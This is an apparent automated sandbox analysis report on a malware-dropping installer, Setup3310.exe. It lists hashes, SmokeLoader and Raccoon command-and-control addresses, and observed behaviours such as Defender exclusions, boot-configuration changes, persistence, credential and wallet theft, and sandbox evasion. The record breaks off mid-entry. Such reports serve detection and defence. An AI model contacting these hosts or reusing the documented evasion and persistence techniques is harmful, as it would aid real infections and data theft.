Resubmissions
18-03-2021 16:36
210318-gp18cmknhn 1018-03-2021 16:36
210318-c2gfjesvja 1018-03-2021 16:36
210318-vqkv89gzv2 1018-03-2021 16:36
210318-hkbpmljzte 1018-03-2021 16:36
210318-x2ph225zjs 1018-03-2021 16:04
210318-a66favrxcs 10Analysis
-
max time kernel
1706s -
max time network
1803s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
18-03-2021 16:36
Static task
static1
Behavioral task
behavioral1
Sample
Setup3310.exe
Resource
win7v20201028
General
-
Target
Setup3310.exe
-
Size
381KB
-
MD5
acf61459d6319724ab22cb5a8308d429
-
SHA1
8a5d782e6f31c3005e5e0706a3d266ece492a6cf
-
SHA256
344d7b46385722db4733eee860283c00327c85f28dd76acc996be63f4c4c956e
-
SHA512
d5f38cb8ed500510ba7d466345c854856ec70121683d4b5398651bfd41a7f5f8d754e8fece0bca38e334214d326afa1970b19e79c3d8507bff9d7782df762877
Malware Config
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
metasploit
windows/single_exec
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/10824-359-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral1/memory/10824-365-0x0000000004E90000-0x00000000056ED000-memory.dmp family_glupteba behavioral1/memory/10824-366-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 14848 bcdedit.exe 14876 bcdedit.exe 14900 bcdedit.exe 14924 bcdedit.exe 14944 bcdedit.exe 14968 bcdedit.exe 14992 bcdedit.exe 15020 bcdedit.exe 15044 bcdedit.exe 15068 bcdedit.exe 15092 bcdedit.exe 15116 bcdedit.exe 15140 bcdedit.exe 15176 bcdedit.exe -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 289 5988 rundll32.exe -
Drops file in Drivers directory 2 IoCs
Processes:
HGT.execsrss.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts HGT.exe File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 64 IoCs
Processes:
Setup3310.tmpSetup.exeSetup.tmpDelta.exeDelta.tmpSetup.exePictureLAb.exePictureLAb.tmpSetup.exeSetup.tmpHGT.exeprolab.exeSuliqecyjae.exeprolab.tmphjjgaa.exejfiag3g_gg.exegaooo.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exemd7_7dfj.exeaskinstall29.execustomer4.exemain.exeprivacytools5.exeprivacytools5.exesetup.exesetup.exeparse.exeparse.exeparse.exe7za.exesetup.exe7za.exesetup.exesetup.execsrss.exePictures Lab.exepatch.exedsefix.exewindefender.exewindefender.exepwiJiNq.exeQHfDRkW.exeztJVywH.exe6123.tmp.exe69FA.tmp.exe6F39.tmp.exe7726.tmp.exeww31.exeupdateprofile-15.exeu20200626.exeupdateprofile-15.exegetfp.exeu20200626.exegetfp.exemg20201223-1.exeml20201223.exem672.exeguesjdiguesjdijfiag3g_gg.exejfiag3g_gg.exeEternalblue-2.2.0.exepid process 2024 Setup3310.tmp 784 Setup.exe 916 Setup.tmp 1104 Delta.exe 1612 Delta.tmp 1468 Setup.exe 324 PictureLAb.exe 668 PictureLAb.tmp 2016 Setup.exe 612 Setup.tmp 1620 HGT.exe 1988 prolab.exe 468 Suliqecyjae.exe 928 prolab.tmp 2448 hjjgaa.exe 2480 jfiag3g_gg.exe 4052 gaooo.exe 2532 jfiag3g_gg.exe 744 jfiag3g_gg.exe 3720 jfiag3g_gg.exe 16816 md7_7dfj.exe 17092 askinstall29.exe 7740 customer4.exe 7856 main.exe 8360 privacytools5.exe 8700 privacytools5.exe 8884 setup.exe 9044 setup.exe 9572 parse.exe 9588 parse.exe 9612 parse.exe 10488 7za.exe 10588 setup.exe 10752 7za.exe 10824 setup.exe 11864 setup.exe 12804 csrss.exe 13316 Pictures Lab.exe 13860 patch.exe 15216 dsefix.exe 15916 windefender.exe 16016 windefender.exe 16532 pwiJiNq.exe 4800 QHfDRkW.exe 6084 ztJVywH.exe 6876 6123.tmp.exe 1136 69FA.tmp.exe 2460 6F39.tmp.exe 4204 7726.tmp.exe 7048 ww31.exe 7148 updateprofile-15.exe 7228 u20200626.exe 7276 updateprofile-15.exe 7352 getfp.exe 7404 u20200626.exe 7444 getfp.exe 7552 mg20201223-1.exe 7640 ml20201223.exe 7772 m672.exe 3032 guesjdi 3044 guesjdi 15368 jfiag3g_gg.exe 15380 jfiag3g_gg.exe 8220 Eternalblue-2.2.0.exe -
Modifies Windows Firewall 1 TTPs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Sets service image path in registry 2 TTPs
-
Processes:
resource yara_rule behavioral1/memory/15916-388-0x0000000000400000-0x0000000000897000-memory.dmp upx behavioral1/memory/7148-465-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral1/memory/7228-468-0x0000000000400000-0x0000000000C1B000-memory.dmp upx behavioral1/memory/7276-469-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral1/memory/7352-471-0x0000000000400000-0x00000000005E6000-memory.dmp upx behavioral1/memory/7404-472-0x0000000000400000-0x0000000000C1B000-memory.dmp upx behavioral1/memory/7444-473-0x0000000000400000-0x00000000005E6000-memory.dmp upx behavioral1/memory/14988-603-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral1/memory/15272-605-0x0000000000400000-0x0000000000C1C000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
setup.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Loads dropped DLL 64 IoCs
Processes:
Setup3310.exeSetup3310.tmpSetup.exeSetup.tmpDelta.exeDelta.tmpSetup.exePictureLAb.exePictureLAb.tmpSetup.exeSetup.tmpprolab.exeprolab.tmphjjgaa.exegaooo.execustomer4.exemain.exeprivacytools5.exeprivacytools5.exesetup.exepid process 1152 Setup3310.exe 2024 Setup3310.tmp 2024 Setup3310.tmp 2024 Setup3310.tmp 2024 Setup3310.tmp 784 Setup.exe 916 Setup.tmp 916 Setup.tmp 916 Setup.tmp 916 Setup.tmp 1104 Delta.exe 1612 Delta.tmp 1612 Delta.tmp 1612 Delta.tmp 1612 Delta.tmp 1468 Setup.exe 1468 Setup.exe 1468 Setup.exe 916 Setup.tmp 324 PictureLAb.exe 668 PictureLAb.tmp 668 PictureLAb.tmp 668 PictureLAb.tmp 668 PictureLAb.tmp 2016 Setup.exe 612 Setup.tmp 612 Setup.tmp 612 Setup.tmp 612 Setup.tmp 1468 Setup.exe 1468 Setup.exe 1468 Setup.exe 1468 Setup.exe 1988 prolab.exe 928 prolab.tmp 928 prolab.tmp 928 prolab.tmp 928 prolab.tmp 916 Setup.tmp 2448 hjjgaa.exe 2448 hjjgaa.exe 4052 gaooo.exe 4052 gaooo.exe 2448 hjjgaa.exe 2448 hjjgaa.exe 4052 gaooo.exe 4052 gaooo.exe 7740 customer4.exe 7740 customer4.exe 7856 main.exe 8360 privacytools5.exe 8700 privacytools5.exe 9044 setup.exe 9044 setup.exe 9044 setup.exe 7856 main.exe 7856 main.exe 7856 main.exe 7856 main.exe 7856 main.exe 7856 main.exe 9600 9624 9636 -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
setup.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PatientViolet = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" setup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\setup.exe = "0" setup.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
HGT.exehjjgaa.exegaooo.exesetup.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Reference Assemblies\\Pushaecushihe.exe\"" HGT.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gaooo.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\PatientViolet = "\"C:\\Windows\\rss\\csrss.exe\"" setup.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Installs/modifies Browser Helper Object 2 TTPs
BHOs are DLL modules which act as plugins for Internet Explorer.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 38 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 167152 checkip.dyndns.org 67609 checkip.amazonaws.com 100540 api.ipify.org 60221 checkip.dyndns.org 73433 api.ipify.org 48 ipinfo.io 46565 checkip.dyndns.org 128708 checkip.amazonaws.com 133785 checkip.dyndns.org 135417 checkip.amazonaws.com 175153 checkip.amazonaws.com 77337 api.ipify.org 83460 checkip.amazonaws.com 98969 checkip.dyndns.org 170382 ip-api.com 61135 api.ipify.org 97972 checkip.amazonaws.com 105434 checkip.amazonaws.com 110850 api.ipify.org 159084 api.ipify.org 55 ipinfo.io 90873 checkip.amazonaws.com 57686 checkip.amazonaws.com 166155 checkip.amazonaws.com 4 ipinfo.io 171 checkip.amazonaws.com 97305 api.ipify.org 149446 api.ipify.org 149517 checkip.amazonaws.com 166161 api.ipify.org 59894 checkip.amazonaws.com 75656 checkip.amazonaws.com 87610 api.ipify.org 105094 checkip.amazonaws.com 120171 checkip.amazonaws.com 157828 checkip.amazonaws.com 2 ipinfo.io 93 ip-api.com -
Drops file in System32 directory 6 IoCs
Processes:
rundll32.exesetup.exepowershell.EXEpwiJiNq.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File created C:\Windows\system32\GroupPolicy\gpt.ini setup.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol pwiJiNq.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini pwiJiNq.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
Processes:
parse.exeparse.exeparse.exepid process 9572 parse.exe 9572 parse.exe 9612 parse.exe 9588 parse.exe 9612 parse.exe 9588 parse.exe 9612 parse.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
privacytools5.exeguesjdiguesjdiguesjdidescription pid process target process PID 8360 set thread context of 8700 8360 privacytools5.exe privacytools5.exe PID 3032 set thread context of 3044 3032 guesjdi guesjdi PID 8140 set thread context of 8208 8140 guesjdi guesjdi PID 10616 set thread context of 10652 10616 guesjdi guesjdi -
Drops file in Program Files directory 64 IoCs
Processes:
setup.exe7za.exeQHfDRkW.exeprolab.tmpsetup.exechrome.exeHGT.exepowershell.exe7za.exedescription ioc process File opened for modification C:\Program Files (x86)\White-Lake\WinmonProcessMonitor.sys setup.exe File opened for modification C:\Program Files (x86)\White-Lake\winamp.exe 7za.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\el\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\hr\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\vi\messages.json QHfDRkW.exe File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Imaging.dll prolab.tmp File created C:\Program Files (x86)\White-Lake\NalDrv.sys setup.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\pl\messages.json QHfDRkW.exe File created C:\Program Files (x86)\Picture Lab\is-8EFL5.tmp prolab.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\id\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\sv\messages.json QHfDRkW.exe File opened for modification C:\Program Files\Google\Chrome\Application\debug.log chrome.exe File created C:\Program Files\Windows Sidebar\OKDWAPJWML\prolab.exe.config HGT.exe File opened for modification C:\Program Files (x86)\Picture Lab\Pictures Lab.exe prolab.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\mk\messages.json QHfDRkW.exe File created C:\Program Files (x86)\Picture Lab\is-N297E.tmp prolab.tmp File opened for modification C:\Program Files (x86)\White-Lake\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\pt_PT\messages.json QHfDRkW.exe File created C:\Program Files (x86)\MCoLVEAxuDhpC\JAYmpZN.xml QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\no\messages.json QHfDRkW.exe File created C:\Program Files (x86)\JDaUpqLWU\oxsUpPC.xml QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\ta\messages.json QHfDRkW.exe File created C:\Program Files (x86)\White-Lake\winamp.exe 7za.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\fa\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\en\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\et\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\hi\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\sr\messages.json QHfDRkW.exe File created C:\Program Files (x86)\White-Lake\help.txt setup.exe File opened for modification C:\Program Files (x86)\White-Lake\winamp.exe 7za.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\pt\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\2pF5Kwp.dll QHfDRkW.exe File created C:\Program Files\Mozilla Firefox\browser\features\{386E1AC0-174B-4C7D-82EB-DBBD0FFE0B98}.xpi QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\fr\messages.json QHfDRkW.exe File created C:\Program Files (x86)\Picture Lab\is-718EL.tmp prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-8UH6F.tmp prolab.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\be\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\de\messages.json QHfDRkW.exe File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Math.dll prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-Q5AMV.tmp prolab.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\es\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\ml\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\kVLys0L.dll QHfDRkW.exe File created C:\Program Files (x86)\White-Lake\winamp.exe 7za.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\en_US\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\he\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\ms\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\tr\messages.json QHfDRkW.exe File created C:\Program Files (x86)\CzJsMnpmYIHU2\DrsQpGObqfVTP.dll QHfDRkW.exe File created C:\Program Files (x86)\Reference Assemblies\Pushaecushihe.exe.config HGT.exe File created C:\Program Files (x86)\Picture Lab\is-PGD47.tmp prolab.tmp File created C:\Program Files (x86)\yjiDqdgnMIE\files\Kernel.js QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\lv\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\rLawcxv.exe QHfDRkW.exe File opened for modification C:\Program Files (x86)\yjiDqdgnMIE\files\Kernel.js QHfDRkW.exe File created C:\Program Files (x86)\White-Lake\7zxa.dll setup.exe File created C:\Program Files (x86)\White-Lake\WinmonProcessMonitor.sys 7za.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\it\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\ro\messages.json QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\tDF90DJ.dll QHfDRkW.exe File created C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\xQFKRqK.dll QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\icon16.ico QHfDRkW.exe File created C:\Program Files (x86)\yjiDqdgnMIE\files\_locales\bn\messages.json QHfDRkW.exe -
Drops file in Windows directory 10 IoCs
Processes:
schtasks.exeschtasks.exesetup.execsrss.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\hMZOFgVuABkGdcuhk.job schtasks.exe File opened for modification \??\c:\windows\installer\{ac76ba86-7ad7-1033-7b44-a90000000001}\sc_reader.exe File created C:\Windows\Tasks\bWIRRaDZCpCYZHZEtf.job schtasks.exe File opened for modification C:\Windows\rss setup.exe File opened for modification C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-A90000000001}\SC_Reader.exe File created C:\Windows\windefender.exe csrss.exe File created C:\Windows\Tasks\qTJPyBJZsADsDDd.job schtasks.exe File created C:\Windows\rss\csrss.exe setup.exe File opened for modification C:\Windows\windefender.exe csrss.exe File created C:\Windows\Tasks\cbBtQoNpOByPPTwrn.job schtasks.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 5604 4204 WerFault.exe 7726.tmp.exe -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
guesjdiprivacytools5.exeguesjdiguesjdidescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI privacytools5.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI guesjdi -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
Setup.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe -
Creates scheduled task(s) 1 TTPs 14 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 10128 schtasks.exe 16716 schtasks.exe 4712 schtasks.exe 5652 schtasks.exe 5740 schtasks.exe 5376 schtasks.exe 5880 schtasks.exe 13756 schtasks.exe 6012 schtasks.exe 9476 schtasks.exe 13796 schtasks.exe 5156 schtasks.exe 5520 schtasks.exe 5564 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2396 timeout.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
rundll32.exesetup.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe -
GoLang User-Agent 39 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 124267 Go-http-client/1.1 HTTP User-Agent header 142776 Go-http-client/1.1 HTTP User-Agent header 149518 Go-http-client/1.1 HTTP User-Agent header 37744 Go-http-client/1.1 HTTP User-Agent header 110519 Go-http-client/1.1 HTTP User-Agent header 38068 Go-http-client/1.1 HTTP User-Agent header 138262 Go-http-client/1.1 HTTP User-Agent header 75657 Go-http-client/1.1 HTTP User-Agent header 90874 Go-http-client/1.1 HTTP User-Agent header 97973 Go-http-client/1.1 HTTP User-Agent header 112839 Go-http-client/1.1 HTTP User-Agent header 120172 Go-http-client/1.1 HTTP User-Agent header 128709 Go-http-client/1.1 HTTP User-Agent header 305 Go-http-client/1.1 HTTP User-Agent header 311 Go-http-client/1.1 HTTP User-Agent header 175154 Go-http-client/1.1 HTTP User-Agent header 157829 Go-http-client/1.1 HTTP User-Agent header 170383 Go-http-client/1.1 HTTP User-Agent header 135418 Go-http-client/1.1 HTTP User-Agent header 303 Go-http-client/1.1 HTTP User-Agent header 38071 Go-http-client/1.1 HTTP User-Agent header 87954 Go-http-client/1.1 HTTP User-Agent header 110856 Go-http-client/1.1 HTTP User-Agent header 38070 Go-http-client/1.1 HTTP User-Agent header 59895 Go-http-client/1.1 HTTP User-Agent header 110517 Go-http-client/1.1 HTTP User-Agent header 162965 Go-http-client/1.1 HTTP User-Agent header 166156 Go-http-client/1.1 HTTP User-Agent header 308 Go-http-client/1.1 HTTP User-Agent header 310 Go-http-client/1.1 HTTP User-Agent header 113437 Go-http-client/1.1 HTTP User-Agent header 306 Go-http-client/1.1 HTTP User-Agent header 105095 Go-http-client/1.1 HTTP User-Agent header 83461 Go-http-client/1.1 HTTP User-Agent header 110853 Go-http-client/1.1 HTTP User-Agent header 110855 Go-http-client/1.1 HTTP User-Agent header 128707 Go-http-client/1.1 HTTP User-Agent header 62112 Go-http-client/1.1 HTTP User-Agent header 67610 Go-http-client/1.1 -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 2276 taskkill.exe 4104 taskkill.exe -
Processes:
QHfDRkW.exeztJVywH.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Approved Extensions QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch ztJVywH.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MAIN QHfDRkW.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION QHfDRkW.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Approved Extensions\{B7993E1A-469D-4CED-8208-B2E0791F4668} = 51667a6c4c1d3b1b0a2383acaf1581049a05f6a07b590176 QHfDRkW.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" ztJVywH.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" QHfDRkW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" QHfDRkW.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\rLawcxv.exe = "9999" QHfDRkW.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "rLawcxv.exe" QHfDRkW.exe Set value (str) 